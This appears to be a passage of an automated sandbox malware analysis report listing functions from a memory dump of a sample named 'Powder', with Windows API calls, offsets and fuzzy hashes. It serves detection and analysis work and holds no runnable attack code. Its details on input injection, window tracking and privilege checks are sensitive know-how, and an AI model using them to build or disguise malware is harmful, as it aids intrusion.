SetKeyboardState.USER32(00000080,?,00008000), ref: 00CE1481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00CE14E0
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00CE1532

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: de9b2daa8f5c15e763a1b7cd3fab7a2160ccda6a675983e5cba1c5a0f46fe6a7
Instruction ID: 7b029f813c5ba4065242a1ffa7e731dc69ac827e9b3692db9a97842ea23565f9
Opcode Fuzzy Hash: de9b2daa8f5c15e763a1b7cd3fab7a2160ccda6a675983e5cba1c5a0f46fe6a7
Instruction Fuzzy Hash: 57313E709403986EFF348B678C05BFEBB65AB85310F0C831AE8A1562D1C7748AA59B61

Function 00CB63F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00CB642B
__isleadbyte_l.LIBCMT ref: 00CB6459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00CB6487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00CB64BD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8042afe744d7b9398a52c58ce1e9fbac5ff8b18ebf769e422b8f8cdac9cda864
Instruction ID: 4a113a849d7f9fd7c5f67d07c83576b1850cba1517ccbb029f6f8665e485fd82
Opcode Fuzzy Hash: 8042afe744d7b9398a52c58ce1e9fbac5ff8b18ebf769e422b8f8cdac9cda864
Instruction Fuzzy Hash: D031CF31600A56AFDB21CF65CC44AEA7FA5FF41320F154429F82487190DB39EA90EB50

Function 00D0552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00D0553F

Part of subcall function 00CE3B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00CE3B4E
Part of subcall function 00CE3B34: GetCurrentThreadId.KERNEL32 ref: 00CE3B55
Part of subcall function 00CE3B34: AttachThreadInput.USER32(00000000,?,00CE55C0), ref: 00CE3B5C

GetCaretPos.USER32(?), ref: 00D05550
ClientToScreen.USER32(00000000,?), ref: 00D0558B
GetForegroundWindow.USER32 ref: 00D05591

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: be0e2cee72e0f01c8dff05bfff19592d5d425c124b4503afa62608fad31279a9
Instruction ID: 6e82e420d403f8c04d8f87365cdd992f70b3128cc41f51384aeb58b448660ea1
Opcode Fuzzy Hash: be0e2cee72e0f01c8dff05bfff19592d5d425c124b4503afa62608fad31279a9
Instruction Fuzzy Hash: 03315E71900208AFDB04EFB5DC859EFB7FDEF88304F10406AE905E7241EA71AE419BA4

Function 00D0CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

GetCursorPos.USER32(?), ref: 00D0CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00CBBCEC,?,?,?,?,?), ref: 00D0CB8F
GetCursorPos.USER32(?), ref: 00D0CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00CBBCEC,?,?,?), ref: 00D0CC16

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 048711f5bac48fbe12f6e0381a9b63d2a22b35281c20dede6015aa5301f94261
Instruction ID: dead85e46eeae12bb7ac1e3ca887b7f1e51dcc9be48b8513e362d46df2f6286e
Opcode Fuzzy Hash: 048711f5bac48fbe12f6e0381a9b63d2a22b35281c20dede6015aa5301f94261
Instruction Fuzzy Hash: 7431CE34610118AFCB259F59C849EFA7BB6EB09310F084199F9099B3B1C7319D52EFB0

Function 00CA0BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00CA0BE2

Part of subcall function 00C9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00CE7E51,?,?,00000000), ref: 00C94041
Part of subcall function 00C9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00CE7E51,?,?,00000000,?,?), ref: 00C94065

_fprintf.LIBCMT ref: 00CA0C19
OutputDebugStringW.KERNEL32(?), ref: 00CD694C

Part of subcall function 00CA4CCA: _flsall.LIBCMT ref: 00CA4CE3

__setmode.LIBCMT ref: 00CA0C4E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 973f21c32431a54ae23fe308b847cbc3ecc007320f27bf06ab9a8b20ae4f7ce9
Instruction ID: a88f42758e3cc161e614d8fd08f6ba507b1e8c2a28d818299ccb33c72137bf0b
Opcode Fuzzy Hash: 973f21c32431a54ae23fe308b847cbc3ecc007320f27bf06ab9a8b20ae4f7ce9
Instruction Fuzzy Hash: 8E112B315041067ACB0CB7B4AC469BE7B6DDF82329F240116F204972C2DF615D56A7A5

Function 00CD9274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD8D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CD8D3F
Part of subcall function 00CD8D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D49
Part of subcall function 00CD8D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D58
Part of subcall function 00CD8D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D5F
Part of subcall function 00CD8D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00CD92C1
_memcmp.LIBCMT ref: 00CD92E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00CD931A
HeapFree.KERNEL32(00000000), ref: 00CD9321

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 696c1881cf3d3b3b7b6aa83c1d635205adc8ffd99246c088bf30dd51d0d4d088
Instruction ID: 26c5151ab8448626b60108aa9925bdf68215642e5029323acd6cc06850d82368
Opcode Fuzzy Hash: 696c1881cf3d3b3b7b6aa83c1d635205adc8ffd99246c088bf30dd51d0d4d088
Instruction Fuzzy Hash: 88219D71E40209FFDB14DFA4C945BEEB7B8EF44305F14805AE995AB3A0D770AA45CBA0

Function 00D0634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00D063BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00D063D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00D063E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00D063F3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 166cfd6abbd94ae95415408c2d1dd0b3e21df41e2431a93a057bbd186dfca778
Instruction ID: 2afc03425d22a006ee685e9c3ba2518af5e6f384a6a8e65c1f978ac31efdfceb
Opcode Fuzzy Hash: 166cfd6abbd94ae95415408c2d1dd0b3e21df41e2431a93a057bbd186dfca778
Instruction Fuzzy Hash: 6C11B131305514AFD705BB24DC45FBA7B99EF45320F188219F91AC72D1CBB0ED418BA4

Function 00CDE45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CDF858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00CDE46F,?,?,?,00CDF262,00000000,000000EF,00000119,?,?), ref: 00CDF867
Part of subcall function 00CDF858: lstrcpyW.KERNEL32(00000000,?,?,00CDE46F,?,?,?,00CDF262,00000000,000000EF,00000119,?,?,00000000), ref: 00CDF88D
Part of subcall function 00CDF858: lstrcmpiW.KERNEL32(00000000,?,00CDE46F,?,?,?,00CDF262,00000000,000000EF,00000119,?,?), ref: 00CDF8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00CDF262,00000000,000000EF,00000119,?,?,00000000), ref: 00CDE488
lstrcpyW.KERNEL32(00000000,?,?,00CDF262,00000000,000000EF,00000119,?,?,00000000), ref: 00CDE4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00CDF262,00000000,000000EF,00000119,?,?,00000000), ref: 00CDE4E2

Strings

cdecl, xrefs: 00CDE4D9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: cba1a674d1d2490005ebd1a209401534edeceeeb51cabb14a8ca76a017f2c4a6
Instruction ID: eb54ef484a69c4a9a1fac6680c7c5d87d9d4f582206d2f7d07ead96a05c4fdd0
Opcode Fuzzy Hash: cba1a674d1d2490005ebd1a209401534edeceeeb51cabb14a8ca76a017f2c4a6
Instruction Fuzzy Hash: 8611BE3A200345BFCB25AF64DC45D7A77A8FF46350B80802BF916CB3A0EB719981D7A1

Function 00CB5312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CB5331

Part of subcall function 00CA593C: __FF_MSGBANNER.LIBCMT ref: 00CA5953
Part of subcall function 00CA593C: __NMSG_WRITE.LIBCMT ref: 00CA595A
Part of subcall function 00CA593C: RtlAllocateHeap.NTDLL(00ED0000,00000000,00000001,?,00000004,?,?,00CA1003,?), ref: 00CA597F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7a03012b1b60dc7b6c1ab4dcb9281df3bfb57828ea55e61ef78dd3c207a6f18a
Instruction ID: 7791055240210b2b6318b162ba5ba13c4ce18520b435ee4f3fc0cd64141418f9
Opcode Fuzzy Hash: 7a03012b1b60dc7b6c1ab4dcb9281df3bfb57828ea55e61ef78dd3c207a6f18a
Instruction Fuzzy Hash: 81110432805A17AFCB243F74AC047DA3AD89F163A5F104529F9289A3B1DEB08A40A790

Function 00CE4365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00CE4385
_memset.LIBCMT ref: 00CE43A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00CE43F8
CloseHandle.KERNEL32(00000000), ref: 00CE4401

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 2f103dbc01828ff968d77eb4f63355dafe7c8a0f30bb6f06f6876b7c1f851978
Instruction ID: ed62e26d552c14e5c3691fb480b076ecc46714e51d20308f9d1d752852158559
Opcode Fuzzy Hash: 2f103dbc01828ff968d77eb4f63355dafe7c8a0f30bb6f06f6876b7c1f851978
Instruction Fuzzy Hash: 5611E771901328BAD7309BA5AC4DFEBBB7CEF45720F00459AF908E7290D6744E808BB4

Function 00CF6A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00CE7E51,?,?,00000000), ref: 00C94041
Part of subcall function 00C9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00CE7E51,?,?,00000000,?,?), ref: 00C94065

gethostbyname.WSOCK32(?,?,?), ref: 00CF6A84
WSAGetLastError.WSOCK32(00000000), ref: 00CF6A8F
_memmove.LIBCMT ref: 00CF6ABC
inet_ntoa.WSOCK32(?), ref: 00CF6AC7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 7d37bdd97ae13f481b95987d9fa528db153ea4c28e5cac83b08046239ca087f3
Instruction ID: f041276f765df18600c975f722740ef5c12a390d14fbdde1951e5832809fe5da
Opcode Fuzzy Hash: 7d37bdd97ae13f481b95987d9fa528db153ea4c28e5cac83b08046239ca087f3
Instruction Fuzzy Hash: E2116375500109AFCB04FBA4CD46CEEBBB9EF04314B148165F606E7261DF70AE44EBA1

Function 00CD96F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00CD9719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CD972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CD9741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CD975C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3fcd28a472152a724a94edbe8b5c6374db0fc815d28e752960d276f9b9956467
Instruction ID: bba09f4dde92912787c59924c0bdad376193756de41c507c130798465b6708e2
Opcode Fuzzy Hash: 3fcd28a472152a724a94edbe8b5c6374db0fc815d28e752960d276f9b9956467
Instruction Fuzzy Hash: 1C114839900218FFEB10DF95C984EDDBBB8FB48710F214096EA00B7290D6716E11DB90

Function 00C8166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

DefDlgProcW.USER32(?,00000020,?), ref: 00C816B4
GetClientRect.USER32(?,?), ref: 00CBB93C
GetCursorPos.USER32(?), ref: 00CBB946
ScreenToClient.USER32(?,?), ref: 00CBB951

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 09d35d255ce11d28b4dda1bc5b84547f6a895b30f10037dc95e9206c83f17c34
Instruction ID: e0db9c68be5c727a9b0b71468f4f36b20e41b3d3c7852e14cbc2217519704124
Opcode Fuzzy Hash: 09d35d255ce11d28b4dda1bc5b84547f6a895b30f10037dc95e9206c83f17c34
Instruction Fuzzy Hash: 7C111639A00119BBCB00EF58C8859FE7BB9EB05304F584456F991E7250D770BA92DBB9

Function 00C82111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C8214F
GetStockObject.GDI32(00000011), ref: 00C82163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00C8216D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 585d1578c0a48af874fa1d085c3ac90a05b5b3aeb0c360ecce9a078f0cbe5dfa
Instruction ID: 2398169f66382291f4fcddc95aac5d39a1c46ee7152e06c34c89a21960a55f18
Opcode Fuzzy Hash: 585d1578c0a48af874fa1d085c3ac90a05b5b3aeb0c360ecce9a078f0cbe5dfa
Instruction Fuzzy Hash: DC11AD7210124DBFDF02AFA0DC48EEB7B69EF59358F154106FA1492164CB71DDA1EBA0

Function 00CE1941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00CE04EC,?,00CE153F,?,00008000), ref: 00CE195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00CE04EC,?,00CE153F,?,00008000), ref: 00CE1983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00CE04EC,?,00CE153F,?,00008000), ref: 00CE198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00CE04EC,?,00CE153F,?,00008000), ref: 00CE19C0

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 4758438c45af151fa62ec807c66e080219a659aade1e2a2fd9df93a81549befd
Instruction ID: 3199f74f64f679c2446052b5305b6482235d2aaf57e18119c69e1aca47da4470
Opcode Fuzzy Hash: 4758438c45af151fa62ec807c66e080219a659aade1e2a2fd9df93a81549befd
Instruction Fuzzy Hash: 14117031C0465DE7CF00AFA6D958AEEBF78FF08741F044045DD40F2241CB3496A08BA5

Function 00D0E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00D0E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 00D0E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 00D0E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 00D0E234

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 84c445fd001cc0786ce30ce3f3ca30fe451b73af39c9f6d26f76acf886604c67
Instruction ID: 222b2a20114fe76351a7e06baab79bae98ae7630da11b32ad2ee9c97ebb4911a
Opcode Fuzzy Hash: 84c445fd001cc0786ce30ce3f3ca30fe451b73af39c9f6d26f76acf886604c67
Instruction Fuzzy Hash: 3F1161B5205304EBE3309F61DD08F93BBBCEB40B04F10895DA65AD6190DBB0E5449BB5

Function 00CB71E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00CB720B

